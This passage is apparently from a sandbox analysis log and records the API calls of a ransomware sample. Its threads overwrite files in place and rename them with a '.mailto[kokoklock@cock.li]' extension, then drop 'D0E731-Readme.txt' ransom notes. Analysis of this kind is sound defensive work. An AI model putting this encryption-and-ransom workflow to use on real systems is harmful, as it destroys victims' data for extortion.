[0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0xdfa013fc [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x62130c82 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x493a1254 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0xdf2d2724 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x1ab67b96 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0xbfe54ede [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x5b98a929 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x9fe033f [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x9fdcd9b [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0xe6a4a7c8 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x99548c15 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0xde22582c [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x29e65137 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x6f61d5af [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x8dd3e64 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x77d5903d [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x1ef260 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x4808aad [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0xd9a191e3 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0xf2a15684 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x17054e [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x1fe7cf24 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x19c0b262 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x81fcc9c8 [0068.877] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0xb7d41eb1 [0068.877] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x127e85cf [0068.877] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0xab999a70 [0068.887] ReadFile (in: hFile=0x6d8, lpBuffer=0x3475830, nNumberOfBytesToRead=0xcf2, lpNumberOfBytesRead=0xc92f8e0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc92f8e0*=0xcf2, lpOverlapped=0x0) returned 1 [0068.887] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xc92f8a8 | out: lpNewFilePointer=0x0) returned 1 [0068.887] WriteFile (in: hFile=0x6d8, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xcf2, lpNumberOfBytesWritten=0xc92f8dc, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xc92f8dc*=0xcf2, lpOverlapped=0x0) returned 1 [0068.887] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.887] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423ee8 [0068.887] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423ee8) returned 1 [0068.887] WriteFile (in: hFile=0x6d8, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc92f8d8, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xc92f8d8*=0x20, lpOverlapped=0x0) returned 1 [0068.888] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.888] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.888] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.888] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.888] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.888] WriteFile (in: hFile=0x6d8, lpBuffer=0x3423f10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc92f904, lpOverlapped=0x0 | out: lpBuffer=0x3423f10*, lpNumberOfBytesWritten=0xc92f904*=0x8, lpOverlapped=0x0) returned 1 [0068.888] WriteFile (in: hFile=0x6d8, lpBuffer=0xc92f91c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc92f904, lpOverlapped=0x0 | out: lpBuffer=0xc92f91c*, lpNumberOfBytesWritten=0xc92f904*=0x4, lpOverlapped=0x0) returned 1 [0068.888] WriteFile (in: hFile=0x6d8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc92f904, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc92f904*=0x4, lpOverlapped=0x0) returned 1 [0068.888] WriteFile (in: hFile=0x6d8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc92f904, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc92f904*=0x6c, lpOverlapped=0x0) returned 1 [0068.888] WriteFile (in: hFile=0x6d8, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc92f904, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0xc92f904*=0x20, lpOverlapped=0x0) returned 1 [0068.888] WriteFile (in: hFile=0x6d8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc92f904, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc92f904*=0x4, lpOverlapped=0x0) returned 1 [0068.888] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.888] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423ec0) returned 1 [0068.888] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423f10) returned 1 [0068.888] CloseHandle (hObject=0x6d8) returned 1 [0071.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0071.139] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1030\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf" [0071.139] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.139] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.169] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0071.169] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.169] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1030\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0071.169] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt" [0071.169] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\d0e731-readme.txt")) returned 0x20 [0071.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2ca8) returned 1 [0071.170] RtlExitUserThread (Status=0x1) Thread: id = 251 os_tid = 0x1264 [0063.501] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0064.570] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.120] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0071.120] GetFileSizeEx (in: hFile=0x398, lpFileSize=0xc9afb9c | out: lpFileSize=0xc9afb9c*=77748) returned 1 [0071.120] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x12fb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.120] ReadFile (in: hFile=0x398, lpBuffer=0xc9afb70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc9afb6c, lpOverlapped=0x0 | out: lpBuffer=0xc9afb70*, lpNumberOfBytesRead=0xc9afb6c*=0x4, lpOverlapped=0x0) returned 1 [0071.122] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422c30 [0071.122] NtQuerySystemTime (in: CurrentTime=0xc9afb48 | out: CurrentTime=0xc9afb48*=132121176290098319) returned 0x0 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x11e06237 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x6191935b [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x43ecf8a [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xdc46ee40 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xba4f86fc [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x27a86077 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xc1732a27 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xbe9ce3c5 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xb43a6274 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xd8164c2b [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x5a00368c [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x560880de [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x85211b2c [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xa7e0261f [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x251bae74 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xe071bcaa [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x1e52be01 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xec538ea7 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xfeea6184 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x278f4461 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xb0a797b0 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x2c3e4970 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x61b86dc0 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x815fc641 [0071.122] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xdd9333af [0071.123] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x2791ea7b [0071.123] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x19998fc9 [0071.123] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x6e061539 [0071.123] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xc611abff [0071.123] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xf3a2574e [0071.123] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0xa74dad6c [0071.123] RtlRandom (in: Seed=0xc9afb54 | out: Seed=0xc9afb54) returned 0x198f97ee [0071.133] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.133] ReadFile (in: hFile=0x398, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc9afb20, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc9afb20*=0x4096, lpOverlapped=0x0) returned 1 [0071.134] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422de8 [0071.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422de8) returned 1 [0071.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.135] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.135] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0071.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0071.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.135] WriteFile (in: hFile=0x398, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc9afb20, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xc9afb20*=0x4096, lpOverlapped=0x0) returned 1 [0071.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.135] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x12fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.135] WriteFile (in: hFile=0x398, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc9afb58, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xc9afb58*=0x20, lpOverlapped=0x0) returned 1 [0071.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.135] WriteFile (in: hFile=0x398, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc9afb6c, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xc9afb6c*=0x8, lpOverlapped=0x0) returned 1 [0071.135] WriteFile (in: hFile=0x398, lpBuffer=0xc9afb84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc9afb6c, lpOverlapped=0x0 | out: lpBuffer=0xc9afb84*, lpNumberOfBytesWritten=0xc9afb6c*=0x4, lpOverlapped=0x0) returned 1 [0071.135] WriteFile (in: hFile=0x398, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc9afb6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc9afb6c*=0x4, lpOverlapped=0x0) returned 1 [0071.135] WriteFile (in: hFile=0x398, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc9afb6c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc9afb6c*=0x6c, lpOverlapped=0x0) returned 1 [0071.136] WriteFile (in: hFile=0x398, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc9afb6c, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xc9afb6c*=0x20, lpOverlapped=0x0) returned 1 [0071.136] WriteFile (in: hFile=0x398, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc9afb6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc9afb6c*=0x4, lpOverlapped=0x0) returned 1 [0071.136] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.136] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0071.136] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.136] CloseHandle (hObject=0x398) returned 1 [0071.136] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.136] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" [0071.136] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.136] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.137] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.137] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.137] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.137] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1030\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0071.137] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt" [0071.137] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\d0e731-readme.txt")) returned 0xffffffff [0071.137] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0071.139] WriteFile (in: hFile=0x39c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xc9afb68, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xc9afb68*=0x481, lpOverlapped=0x0) returned 1 [0071.167] CloseHandle (hObject=0x39c) returned 1 [0071.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426ab8) returned 1 [0071.168] RtlExitUserThread (Status=0x1) Thread: id = 252 os_tid = 0x1268 [0063.501] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0066.398] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.889] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0068.890] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0xca2fa00 | out: lpFileSize=0xca2fa00*=7567) returned 1 [0068.890] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x1d8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.890] ReadFile (in: hFile=0x6d0, lpBuffer=0xca2f9d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xca2f9d0, lpOverlapped=0x0 | out: lpBuffer=0xca2f9d4*, lpNumberOfBytesRead=0xca2f9d0*=0x4, lpOverlapped=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e70 [0068.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423ec0 [0068.891] NtQuerySystemTime (in: CurrentTime=0xca2f9ac | out: CurrentTime=0xca2f9ac*=132121176267910458) returned 0x0 [0068.891] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x197171a7 [0068.891] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xdc06e2f2 [0068.891] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xed0a1baa [0068.891] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xec211b4a [0068.891] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xbd00b56a [0068.891] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xaef38189 [0068.891] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x8113d748 [0068.891] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x4b10210 [0068.891] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x860ae038 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x5636d146 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x345cc32 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x357599f [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xe03201ae [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x612f109c [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x93cdd62d [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xef38ee77 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xe0245105 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x876801e5 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x4cfc18c8 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x7fbf6c01 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xcc399250 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xd6d1fd71 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x2b61ec88 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x2d753823 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x310c9d9e [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x301dd5a8 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x69d983d0 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x290c80ad [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xa34da9a8 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xca9b65e6 [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0xc43376ea [0068.892] RtlRandom (in: Seed=0xca2f9b8 | out: Seed=0xca2f9b8) returned 0x1a032e7d [0068.903] ReadFile (in: hFile=0x6d0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x1d8f, lpNumberOfBytesRead=0xca2f9ac, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xca2f9ac*=0x1d8f, lpOverlapped=0x0) returned 1 [0068.903] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xca2f974 | out: lpNewFilePointer=0x0) returned 1 [0068.903] WriteFile (in: hFile=0x6d0, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x1d8f, lpNumberOfBytesWritten=0xca2f9a8, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xca2f9a8*=0x1d8f, lpOverlapped=0x0) returned 1 [0068.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.903] RtlAllocateHeap 